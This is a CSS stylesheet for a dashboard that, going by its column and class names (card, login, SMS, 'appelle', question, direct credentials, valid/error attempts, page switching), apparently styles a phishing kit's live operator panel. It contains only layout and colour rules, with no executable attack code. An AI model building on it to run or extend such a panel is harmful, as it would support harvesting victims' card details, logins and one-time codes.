main{width:100%;margin:0;padding:0}
.counter-card{margin:16px 0 20px 16px}
.table-card,.activity-card{border-left:0;border-right:0;border-radius:0}
.table-card table{table-layout:fixed;min-width:1850px;width:100%}
.col-id{width:110px}.col-selection{width:190px}.col-connected{width:150px}.col-card{width:230px}.col-login{width:230px}.col-sms{width:180px}.col-appelle{width:180px}.col-question{width:180px}.col-testinfo{width:260px}.col-current{width:150px}.col-actions{width:180px}
.id-col,.selection-col,.current-page-col,.change-page-col{position:sticky}
.id-col{left:0}
.selection-col{left:110px}
.current-page-col{right:180px}
.change-page-col{right:0}
.visitor-actions{display:grid;gap:8px}
.visitor-actions select{width:100%}
.delete-visitor{background:rgba(239,68,68,.12);color:#ff9c9c;border:1px solid rgba(239,68,68,.4);border-radius:5px;padding:6px 9px;font-size:.74rem}
.delete-visitor:hover{background:rgba(239,68,68,.24)}
thead .id-col,thead .selection-col,thead .current-page-col,thead .change-page-col{background:#171d27;z-index:6}
tbody .id-col,tbody .selection-col,tbody .current-page-col,tbody .change-page-col{background:#232a37;z-index:4}
.selection-content{display:flex;align-items:center;gap:8px}
.selection-logo{width:30px;height:24px;object-fit:contain;background:#fff;border-radius:4px;padding:2px;flex-shrink:0}
.connection-cell{min-width:0;white-space:normal;vertical-align:top}
.connection-status{display:inline-block;background:rgba(34,197,94,.12);border:1px solid rgba(34,197,94,.4);border-radius:5px;padding:3px 9px;margin-bottom:10px}
.connection-status.disconnected{background:rgba(239,68,68,.12);border-color:rgba(239,68,68,.4);color:#ff9c9c}
.login-cell{min-width:0;vertical-align:top;white-space:normal}
.direct-credentials{color:#f3c877;font-family:ui-monospace,Consolas,monospace;font-size:.86rem;font-weight:700;line-height:1.65;word-break:break-word}
.attempt-block{margin-bottom:10px}
.attempt-status{display:block;font-size:.62rem;font-weight:800;margin-bottom:2px;letter-spacing:.04em}
.attempt-error .attempt-status{color:#ff9c9c}
.attempt-valid .attempt-status{color:#7ee2c3}
.visitor-details{display:grid;grid-template-columns:1fr;gap:6px}
.visitor-info-line{display:flex;align-items:flex-start;gap:7px;font-size:.73rem;line-height:1.5}
.visitor-info-line span{color:#8f9bad;min-width:58px}
.visitor-info-line strong{color:#f3c877;font-family:ui-monospace,Consolas,monospace;font-weight:600;word-break:break-word}
.amount-modal-overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.72);z-index:1000;align-items:center;justify-content:center;padding:20px}
.amount-modal-overlay.open{display:flex}
.amount-modal{width:min(360px,100%);background:#1c2330;border:1px solid #4a586e;border-radius:12px;padding:24px;box-shadow:0 24px 70px rgba(0,0,0,.5)}
.amount-modal h3{margin-bottom:8px;font-size:1rem}
.amount-visitor{color:#8f9bad;font-size:.78rem;margin-bottom:16px}
#amountInput{width:100%;background:#111722;color:#edf2f7;border:1px solid #4a586e;border-radius:6px;padding:11px 12px;margin-bottom:16px}
.amount-modal-actions{display:flex;justify-content:flex-end;gap:10px}
#sendAmount{background:#16794c;color:#fff;border:1px solid #22a66b;border-radius:6px;padding:8px 18px;font-weight:700}
#amountStatus{display:block;min-height:20px;color:#7ee2c3;font-size:.78rem;margin-top:12px}
.testinfo-modal-overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.72);z-index:1001;align-items:center;justify-content:center;padding:20px}
.testinfo-modal-overlay.open{display:flex}
.testinfo-modal{width:min(560px,100%);max-height:90vh;overflow-y:auto;background:#1c2330;border:1px solid #4a586e;border-radius:12px;padding:24px;box-shadow:0 24px 70px rgba(0,0,0,.5)}
.testinfo-modal h3{margin-bottom:8px}
.testinfo-visitor{color:#8f9bad;font-size:.78rem;margin-bottom:16px}
.testinfo-title-label{display:block;color:#c5cfdd;font-size:.78rem;margin-bottom:18px}
#testinfoTitle{display:block;width:100%;margin-top:7px;background:#111722;color:#edf2f7;border:1px solid #4a586e;border-radius:6px;padding:10px 12px}
.testinfo-field-row{display:grid;grid-template-columns:1fr 135px 32px;gap:8px;margin-bottom:10px}
.testinfo-field-row input,.testinfo-field-row select{background:#111722;color:#edf2f7;border:1px solid #4a586e;border-radius:5px;padding:9px}
.testinfo-remove-field{background:rgba(239,68,68,.12);color:#ff9c9c;border:1px solid rgba(239,68,68,.35);border-radius:5px}
#addTestinfoField{margin:6px 0 18px}
.testinfo-modal-actions{display:flex;justify-content:flex-end;gap:10px}
#showTestinfo{background:#16794c;color:#fff;border:1px solid #22a66b;border-radius:6px;padding:8px 18px;font-weight:700}
#testinfoStatus{display:block;min-height:20px;color:#ffb4b4;font-size:.78rem;margin-top:12px}
@keyframes panelFlash {
  0%{background-color:rgba(245,158,11,.32);box-shadow:inset 0 0 0 1px rgba(245,158,11,.55),0 0 18px rgba(245,158,11,.22)}
  100%{background-color:transparent;box-shadow:none}
}
.panel-flash{animation:panelFlash 4s ease-out}
.copy-value{cursor:pointer}
.copy-value:hover{text-decoration:underline;text-decoration-color:#f3c877}
.copy-toast{position:fixed;z-index:2000;background:#16794c;color:#fff;border:1px solid #22a66b;border-radius:6px;padding:7px 12px;font-size:.75rem;font-weight:700;pointer-events:none;box-shadow:0 8px 24px rgba(0,0,0,.3)}
@media(max-width:650px){.visitor-details{grid-template-columns:1fr}.connection-cell{min-width:250px}.testinfo-field-row{grid-template-columns:1fr 110px 30px}}
